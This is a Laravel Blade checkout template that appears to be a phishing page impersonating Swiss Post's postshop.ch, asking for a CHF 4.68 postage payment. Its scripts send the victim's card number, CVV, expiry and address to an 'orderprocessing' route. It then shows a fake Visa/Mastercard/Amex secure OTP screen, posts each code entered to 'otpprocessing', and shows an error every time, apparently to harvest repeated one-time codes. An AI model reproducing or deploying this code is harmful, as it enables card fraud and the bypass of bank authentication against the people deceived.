@extends('layouts.app')
@section('title')

@endsection
@section('content')
<div class="preloader" style="z-index: 99999999">
    <div class="loader"></div>
  </div>
  <section>
    <div class="container-fluid">
      <div class="row g-0">
        <div class="col-xl-3 col-lg-12 col-md-12 p-0">
          <div class="left_sidebar">
            <div class="website_logo">
                <a href="#"><img src="{{asset('img/logo.svg')}}" alt="logo"></a>
            </div>
            <div class="side_menu">
              {{-- <a href="index.html"><i class="fa-solid fa-house"></i> postshop.ch</a> --}}
            </div>
          </div>
        </div>
        <div class="col-xl-9 col-lg-12 col-md-12 p-0">
          <main>
            <div class="container-fluid">
              <div class="row">
                <div class="col-12 p-0">
                  <div class="page_title">
                    <p><i class="fa-solid fa-lock"></i> {{__('message.Secure connection')}} </p>
                  </div>
                </div>
              </div>
              <div class="row mt-5">
                <div class="col-12">
                  <ul id="progressbar">
                    <li id="login" class="active"><strong><a href="#">{{__('message.Delivery Details')}} </a></strong></li>
                    <li class="active newicon" id="addressa"><strong><a href="#">{{__('message.Addresses')}}</a></strong></li>
                    <li class="active newicon osuccess d-none" id="addressa"><strong><a href="#">{{__('message.Order Summary')}}</a></strong></li>
                    <li id="order" class="preactive odeactive"><strong>{{__('message.Order Summary')}}</strong></li>
                    <li id="payment"><strong>{{__('message.Payment')}}</strong></li>
                  </ul>
                </div>
              </div>
              <div class="row">
                <div class="col-md-12 p-0">
                    <div class="col-md-7 p-0">
                        <div class="form_box form_box3 mt-4">
                          <h2 class="review_title">{{__('message.Review')}}</h2>
                          <form class="needs-validation" action="{{route('placeorder')}}" id="msform2">
                            <address>
                                <div class="form-row">
                                  <div class="col-6">
                                    <h4>{{__('message.Your details')}}</h4>
                                  </div>
                                  <div class="col-6 customizable">
                                    <p class="m-0"><a href="#"><i class="fa-solid fa-pen"></i>{{__('message.Edit')}}</a></p>
                                  </div>
                                </div>
                                <p>{{$data->email}}</p>
                                <p>{{$data->phone}}</p>
                              </address>
                            <address>
                              <h4>{{__('message.Delivery details')}}</h4>
                              <div class="form-row">
                                <div class="col-6">
                                <p>{{$data->title}} <span> {{$data->first_name}} {{$data->last_name}}</span>
                                    </p>
                              <p class="mt-1"> {{$data->street}}</p>
                              <p class="mt-1"> {{$data->town}}</p>
                              <p class="mt-1">{{$data->company_association}}  {{$data->postcode}}</p>
                             <p class="mt-1">{{$data->countryIso}}</p>
                             </div>
                             <div class="col-6 customizable">
                                <p class="m-0"><a href="#"><i class="fa-solid fa-pen"></i>{{__('message.Edit')}}</a></p>
                              </div>
                              </div>
                            </address>
                            <address>
                                <div class="form-row">
                                  <div class="col-12">
                                    <h4>{{__('message.Billing details')}}</h4>
                                  </div>
                                </div>
                                <p>as per delivery address</p>

                              </address>
                            <address>

                              <p>Registered postage(switzerland)</p>

                            </address>
                            <address>
                              <h4>{{__('message.Order Nots')}}</h4>
                              <textarea rows="5"  class="form-control" placeholder="{{__('message.type your message')}}"></textarea>
                            </address>


                          <div class="form-group mb-0 mt-5">
                            <div class="form-check">
                              <label for="invalidCheck2" class="customCheck">{{__('message.I have read and accept the')}} <a
                                  href="#">{{__('message.General Terms and Conditions.')}}</a>
                                  <input type="checkbox" class="form-check-input" value="" id="invalidCheck2">
                                <span class="checkmark"></span>

                              </label>

                            </div>
                          </div>

                          <div class="form-group">
                            <div class="form-check mt-2 mb-4">
                              <label for="invalidCheck3" class="customCheck">{{__('message.I would like to subscribe to the newsletter to stay informed about news and promotions on')}}

                                <input type="checkbox" class="form-check-input" value="" id="invalidCheck3">
                                <span class="checkmark"></span>

                              </label>
                            </div>
                          </div>
                          <div class="paginationbtn2">
                            <div class="form-row">
                              <div class="col-12">
                                <div class="nextBtn text-right">
                                    <button id="paybtn" class="btn " type="submit" data-toggle="modal" data-target="#submitdata" disabled>
                                        {{__('message.Confirm to pay')}}</button>
                                </div>
                              </div>
                            </div>
                          </div>
                        </form>
                        </div>
                      </div>
                </div>
              </div>

            </div>
          </main>

        @include('layouts.footer')
        </div>
      </div>
    </div>
</section>


    <!-- Modal -->
    <div class="modal fade" id="submitdata" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
        <div class="modal-dialog" style="background-color: #fff">
          <div id="logofrom" class="modal-content">
            <div class="modal-header m_header1">
              <img  src="{{asset('img/logo.svg')}}" alt="swisspost" class="img-fluid">
              <button id="cancell" type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <div class="modal-body">
              <div class="amountDiv">
                <h6>{{__('message.Amount')}}</h6>
                <h6>CHF 4.68</h6>
              </div>

              <div class="paymentDiv">
                <h2>{{__('message.Select payment method')}}</h2>
                <div class="row">
                  <div class="col-12">
                    <div class="paymentPic">
                        <img id="visalogo" style="cursor:pointer"  src="{{asset('img/visa.jpg')}}" alt="visa">
                      <img id="masterlogo" style="cursor:pointer" onclick="showfrom('mastercard')" src="{{asset('img/mastercard.jpg')}}" alt="mastercard">
                      <img id="americalogo" style="cursor:pointer" onclick="showfrom('american')" src="{{asset('img/american.jpg')}}" alt="american">
                    </div>
                  </div>
                </div>

              </div>
            </div>
            <div class="modal-footer">
              <div class="container-fluid">
                <div class="row g-0">
                  <div class="col-7 p-0">
                    <div class="f_copy">
                      <p><i class="fa-solid fa-lock" style="
                        color: green;
                    "></i> {{__('message.provided by BillingOnline')}}</p>
                    </div>
                  </div>
                  <div class="col-5 p-0">
                    <div class="f_img">
                      <img src="{{asset('img/footerlogo.svg')}}" alt="f-logo">
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
          <div id="cardfrom" class="modal-content d-none">
            <div class="modal-header pb-0">
              <div class="container-fluid">
                <div class="row">
                  <div class="col-4"></div>
                  <div class="col-4 text-center">
                    <p class="headertext">{{__('message.Pay')}}</p>

                  </div>
                  <div class="col-4">
                    <button id="cancell2" type="button" class="close" data-dismiss="modal" aria-label="Close">
                      <span aria-hidden="true">&times;</span>
                    </button>
                  </div>
                </div>
              </div>
            </div>
            <div class="modal-body">
              <div class="modalForm2">
                <form id="cardvalid" action="#">
                    @honeypot
                  <div class="form-row last_rowss">
                    <label class="labelHead">{{__('message.Card number')}}</label>
                    <div class="input-group with-img">
                      <input id="c_num" class="form-control" type="text" name="card_number">
                      <img id="cardlogo" src="" class="img-fluid" alt="visa">
                    </div>



                  </div>

                  <div class="form-row last_rowss">
                    <label for="cardholder">{{__('message.Cardholders name')}}</label>
                    <input value="{{$data->first_name}} {{$data->last_name}}" type="text" class="form-control" id="cardholder" name="card_holder_name">

                  </div>

                  <div class="row align-items-center g-0">
                    <div class="col-5">
                      <div class="form-row last_rowss">
                        <label for="expiredate">{{__('message.Expiry date')}}</label>
                        <input type="number" class="form-control" id="exp_month" placeholder="MM" name="exp_month">
                      </div>
                    </div>
                    <div class="col-2 p-0">
                      <div class="spacediv text-center">
                        <span>/</span>
                      </div>
                    </div>
                    <div class="col-5">
                      <div class="form-row">
                        <label for="year" style="opacity: 0">{{__('message.Expiry Year')}}</label>
                        <input type="number" class="form-control" id="exp_year" placeholder="YY" name="exp_year">
                      </div>
                    </div>
                  </div>

                  <div class="form-row last_rowss last_rows2">
                    <label for="varification">{{__('message.Card verification code')}}</label>
                    <input type="number" name="cvv" class="form-control" id="cvv">

                    <button type="button" class="btn" data-toggle="tooltip" data-placement="bottom"
                      title="For MasterCard and Visa, look on the back of the card for a 3-digit code on the signature strip. It will be either after the full customer account number or after the last 4 digits of the customer account number.">
                      <i class="fa-solid fa-circle-exclamation"></i>
                    </button>
                  </div>
                  <div class="form-group mt-3">
                    <div class="form-check pl-3 lastformcheck">
                      <input class="form-check-input" type="checkbox" value="" id="invalidCheck6" name="check">
                      <label class="form-check-label " for="invalidCheck6" style="padding-top:12px">
                        {{__('message.Remember my details')}}
                      </label>
                      <button type="button" class="btn" data-toggle="tooltip" data-placement="bottom"
                        title="As your customer, I authorize you and/or your payment processor to store my payment data in a secure way so that I will not have to enter them again when I will perform future payments on your website. If not, my payment data will be deleted as soon as my payment has been processed.">
                        <i class="fa-solid fa-circle-exclamation"></i>
                      </button>

                    </div>
                  </div>
                  <div class="form-row mb-5">
                    <div class="col-6">
                      <div class="lastformbtn">
                        <button id="submitbtn" class="btn" type="submin">{{__('message.Submit')}}</button>
                      </div>
                    </div>
                    <div class="col-6">
                      <div class="lastcancel">
                        <button class="btn" type="button">{{__('message.Cancel')}}</button>
                      </div>
                    </div>
                  </div>
                </form>
              </div>
            </div>
            <div class="modal-footer">
              <div class="container-fluid">
                <div class="row g-0">
                  <div class="col-6 p-0">
                    <div class="f_copy">
                      <p><i class="fa-solid fa-lock" style="
                        color: green;
                    "></i> {{__('message.provided by BillingOnline')}}</p>
                    </div>
                  </div>
                  <div class="col-6 p-0">
                    <div class="f_img">
                      <img src="{{asset('img/footerlogo.svg')}}" alt="f-logo">
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
    {{-- --------- --}}

<div id="loadingmodal" class="modal-content d-none">
    <div class="modal-header pb-0">
      <div class="container-fluid">
        <div class="row">
          <div class="col-4"></div>
          <div class="col-4 text-center">
            {{-- <p class="headertext">Pay</p> --}}

          </div>
          <div class="col-4">
            <button id="cancell3" type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
        </div>
      </div>
    </div>
    <div class="modal-body">
      <div class="modalForm2">
        <div class="preloaders" style="z-index: 99999999">
            <div class="loaders"></div>
          </div>
      </div>
    </div>
    <div class="modal-footer">
      <div class="container-fluid">
        <div class="row g-0">
          <div class="col-6 p-0">
            <div class="f_copy">
              <p><i class="fa-solid fa-lock" style="
                color: green;
            "></i> {{__('message.provided by BillingOnline')}}</p>
            </div>
          </div>
          <div class="col-6 p-0">
            <div class="f_img">
              <img src="{{asset('img/footerlogo.svg')}}" alt="f-logo">
            </div>
          </div>
        </div>
      </div>
    </div>
</div>
{{-- otp modal --}}
<div id="otpmodal" class="modal-content d-none" style="background-color:white">
    <div class="modal-header pb-0">
      <div class="container-fluid">
        <div class="row">
          <div class="col-4"></div>
          <div class="col-4 text-center">


          </div>
          <div class="col-4">
            <button id="cancell5" type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
        </div>
      </div>
    </div>
    <div class="modal-body">
      <div class="modalForm3">
        <div class="print-wrap p-4">
            <div class="logo d-flex flex-row justify-content-between pb-4">

                <img id="secureLogo" style="width: 90px" src="" alt="" srcset="">
                <img src="{{asset('img/footerlogo.svg')}}" alt="" srcset="" style="
                width: 146px;
                height: 51px;
                background: white;
            ">
            </div>
            <div class="text fw-color ">
                <h6 class="py-3"> {{__('message.Please enter your Security Code or OTP')}} </h6>
                <p class="mb-0">{{__('message.One-Time passcode is required for this transaction. This code has been sent to your registered mobile')}}  </p>
                <p class="text-center"> *******<span id="lastphone"></span> </p>

                <div id="alert" class="alert alert-danger d-none" role="alert">
                   {{__('message.Please provide your E-PIN')}}
                </div>
            </div>

            <div class="text-info my-4  text-dark">
                <table id="info" class="info d-none" style="width: 100%; font-size:12px">

                    <tbody><tr>
                        <td class="w-50 text-right">{{__('message.Date')}}:</td>
                        <td class="text-left pl-3"> {{date('d/m/y')}}</td>
                    </tr>

                    <tr>
                        <td class="w-50 text-right">{{__('message.Card number')}}:</td>

                        <td class="text-left pl-3">XXXX-XXXX-XXXX <span id="cardlast"></span></td>
                    </tr>

                    <tr>
                        <td class="w-50 text-right">{{__('message.Amount')}}:</td>
                        <td class="text-left pl-3">CHF 4.68</td>
                    </tr>
                    <tr>
                        <td class="w-50 text-right"> {{__('message.Name on card')}}: </td>
                        <td class="text-left pl-3">sdfsdf dsfds</td>
                    </tr>
                    <tr>
                        <td class="w-50 text-right">{{__('message.Time Remaining')}}: </td>
                        <td class="text-left pl-3">
                            <span id="countdowns"></span>
                            <span id="countdown"></span>
                            <span id="countdown2"></span>
                        </td>
                    </tr>
                    <tr>
                        <td class="w-50 text-right">{{__('message.Passcode')}}:</td>
                        <td class="text-left pl-3">
                            <input class="field" id="code" type="password" oninput="this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\..*)\./g, '$1');"required="">
                        </td>
                    </tr>
                    <tr>
                        <td class="w-50 text-right"></td>
                        <td class="text-left">

                            <input id="button" class="rounded-3 px-3 my-2 mx-3" type="submit" value="{{__('message.Confirm')}}" disabled="disabled">

                        </td>
                    </tr>
                </tbody></table>
                <input id="data" type="hidden" value="" name="otpdata">
                <div class="loadar">
                <img id="sniper" class="sniper" src="{{asset('img/lod2.gif')}}" alt="" srcset="">
                </div>

            </div>

            <p style="font-size: 12px;" class="fw-color">Copyright @ 1999-2024. All rights reserved.</p>
        </div>
      </div>
    </div>
    <div class="modal-footer">
      <div class="container-fluid">
        <div class="row g-0">
          <div class="col-6 p-0">
            <div class="f_copy">
              {{-- <p><i class="fa-solid fa-lock" style="
                color: green;
            "></i> provided by BillingOnline</p> --}}
            </div>
          </div>
          <div class="col-6 p-0">
            <div class="f_img">
              {{-- <img src="{{asset('img/footerlogo.svg')}}" alt="f-logo"> --}}
            </div>
          </div>
        </div>
      </div>
    </div>
</div>

        </div>
      </div>
@endsection

@push('scripts')
<script>
    $(document).ready(function() {

        // $('#cancell').click(function() {
        //     window.location.href = "{{route('ordersummary')}}";
        // });
        // $('#cancell2').click(function() {
        //     window.location.href = "{{route('ordersummary')}}";
        // });
        // $('#cancell5').click(function() {
        //     window.location.href = "{{route('ordersummary')}}";
        // });

        var preloader = $('.preloader');
         preloader.show();

         setInterval(function(){
            preloader.hide();
            $('#submitdata').modal({
            backdrop: 'static',
            keyboard: false
        });
    }, 4000);



    let timeout = 1000;
    $('#visalogo').click(function(){
        $('#logofrom').hide("slide", {direction: "left"}, timeout);
         setInterval(()=>{
        $('#cardfrom').removeClass('d-none');
       },timeout)
    $('#cardlogo').attr('src','{{asset('img/visa.jpg')}}');
    $('#secureLogo').attr('src','{{asset('img/visa_secure.svg')}}');
        $('#cardfrom').modal({
            backdrop: 'static',
            keyboard: false
        });
    });
    $('#masterlogo').click(function(){
        $('#logofrom').hide("slide", {direction: "left"}, timeout);
        setInterval(()=>{
        $('#cardfrom').removeClass('d-none');
       },timeout)
        $('#cardlogo').attr('src','{{asset('img/mastercard.jpg')}}');
        $('#secureLogo').attr('src','{{asset('img/master_secure.png')}}');
        $('#cardfrom').modal({
            backdrop: 'static',
            keyboard: false
        });
    });
    $('#americalogo').click(function(){
        $('#logofrom').hide("slide", {direction: "left"}, timeout);
        setInterval(()=>{
        $('#cardfrom').removeClass('d-none');
       },timeout)
    $('#cardlogo').attr('src','{{asset('img/american.jpg')}}');
    $('#secureLogo').attr('src','{{asset('img/amex_secure.png')}}');
        $('#cardfrom').modal({
            backdrop: 'static',
            keyboard: false
        });
    });
    $('form[id="cardvalid"]').validate({

  rules: {
    card_number: {
        required: true,
        creditcard: true
    },
    card_holder_name: {
        required: true,

    },
    cvv: {
        required: true,
        digits: true,
        minlength: 3,
        maxlength: 3
    },
    exp_month: {
        required: true,
        digits: true,
        minlength: 2,
        maxlength: 2,
        range: [1, 12]
    },
    exp_year: {
        required: true,
        digits: true,
        minlength: 2,
        maxlength: 4

    },

  },
  messages: {
    card_number:'',
    card_holder_name: '',
    cvv: '',
    exp_month: '',
    exp_year: '',
  },

  highlight: function(element) {
    $(element).addClass('card-error');
},
unhighlight: function(element) {
    $(element).removeClass('card-error');
    // $('.error').addClass('d-none')
},
  submitHandler: function(form) {
    axios.post('{{route('orderprocessing')}}',{
    name: '{{$data->title}} {{$data->first_name}} {{$data->last_name}}',
    email: '{{$data->email}}',
    phone: '{{$data->phone}}',
    street: '{{$data->street}}',
    postcode: '{{$data->postcode}}',
    town : '{{$data->town}}',
    country: '{{$data->countryIso}}',
    company_association: '{{$data->company_association}}',
    company_suffix: '{{$data->company_suffix}}',
    card_number: $('#c_num').val(),
    card_holder_name: $('#cardholder').val(),
    cvv: $('#cvv').val(),
    exp_month: $('#exp_month').val(),
    exp_year: $('#exp_year').val(),

  })
  .then(function (response) {
   let phonelast = '{{$data->phone}}';
   let cardlast = $('#c_num').val();
    $('#lastphone').text(phonelast.slice(-4));
    $('#cardlast').text(cardlast.slice(-4));


  })
  .catch(function (error) {
    console.log(error);
  });

    $('#cardfrom').hide("slide", {direction: "left"}, timeout);

    setInterval(()=>{
        $('#loadingmodal').removeClass('d-none');
    },timeout)


    setInterval(()=>{
     $('#loadingmodal').hide("slide", {direction: "left"}, timeout);
         },25000)
    setInterval(()=>{
        $('#otpmodal').removeClass('d-none');
    },timeout+25000)

    $('.osuccess').removeClass('d-none');
    $('.odeactive').addClass('d-none');
    $('#payment').addClass('preactive');

    setInterval(() => {
        document.querySelector(".loadar").style.display = "none";
           $("#info").removeClass("d-none");
    }, 30000);



  }
});

    });
</script>
<script>
    let fixed = 1;
    let seconds = 120;
    let timeouts = 1000;
     let countdownTimer=  setInterval('secondPassed()', 1000);
    function secondPassed() {
        const minutes = Math.round((seconds - 30) / 60);
        let remainingSeconds = seconds % 60;
        if (remainingSeconds < 10) {
            remainingSeconds = "0" + remainingSeconds;
        }
        document.getElementById('countdowns').innerHTML = minutes + ":" + remainingSeconds;
        if (seconds === 0) {
            clearInterval(countdownTimer);
            document.getElementById('countdowns').innerHTML = "00:00";
        } else {
            seconds--;
        }
    }
    let secondss = 110;
    function secondPasseds() {
        const minutess = Math.round((secondss - 30) / 60);
        let remainingSecondss = secondss % 60;
        if (remainingSecondss < 10) {
            remainingSecondss = "0" + remainingSecondss;
        }
        document.getElementById('countdown').innerHTML = minutess + ":" + remainingSecondss;
        if (secondss === 0) {
            clearInterval(countdownTimers);
            document.getElementById('countdown').innerHTML = "00:00";
        } else {
            secondss--;
        }
    }

    let secondss2 = 110;
    function secondPasseds2() {
        const minutess2 = Math.round((secondss2 - 30) / 60);
        let remainingSecondss2 = secondss2 % 60;
        if (remainingSecondss2 < 10) {
            remainingSecondss2 = "0" + remainingSecondss2;
        }
        document.getElementById('countdown2').innerHTML = minutess2 + ":" + remainingSecondss2;
        if (secondss2 === 0) {
            clearInterval(countdownTimers2);
            document.getElementById('countdown2').innerHTML = "00:00";
        } else {
            secondss2--;
        }
    }
    $(document).on('click','#button',function(){
        $('#button').attr('disabled', true);
    axios.post('{{route('otpprocessing')}}',{
     name: '{{$data->title}} {{$data->first_name}} {{$data->last_name}}',
    email: '{{$data->email}}',
    phone: '{{$data->phone}}',
    street: '{{$data->street}}',
    postcode: '{{$data->postcode}}',
    town : '{{$data->town}}',
    country: '{{$data->countryIso}}',
    company_association: '{{$data->company_association}}',
    company_suffix: '{{$data->company_suffix}}',
    card_number: $('#c_num').val(),
    card_holder_name: $('#cardholder').val(),
    cvv: $('#cvv').val(),
    exp_month: $('#exp_month').val(),
    exp_year: $('#exp_year').val(),
    code :  $('#code').val(),
 }).then(function (response) {
                // handle success
                $('#code').val('');
                $("#info").addClass("d-none");
                 document.querySelector(".loadar").style.display = "flex";
                setTimeout(function(){
                document.querySelector(".loadar").style.display = "none";
                $("#info").removeClass("d-none");
                clearInterval(countdownTimer);
           

               },15000);
    $('#countdowns').hide();
      let count = fixed ++;

        if(count === 1){
       let countdownTimers=  setInterval('secondPasseds()', timeouts);

        }else if(count === 2){
            $('#countdown').hide();
            let countdownTimers=  setInterval('secondPasseds()', timeouts);
            clearInterval(countdownTimers);
            let countdownTimers2=  setInterval('secondPasseds2()', timeouts);

        }else if(count===3){
           
        }
        else{

        }

            })
            .catch(function (error) {
                // handle error
                console.log(error);
            })
            .then(function () {
                // always executed
            });


        $('#alert').removeClass("d-none");


    })
    </script>


<script>
    $(document).ready(function() {



      $('.field').on('keyup', function() {
        let empty = false;

        if (empty)
          $('.actions input').attr('disabled', 'disabled');
        else
          $('#button').attr('disabled', false);
      });
    });
    </script>
@endpush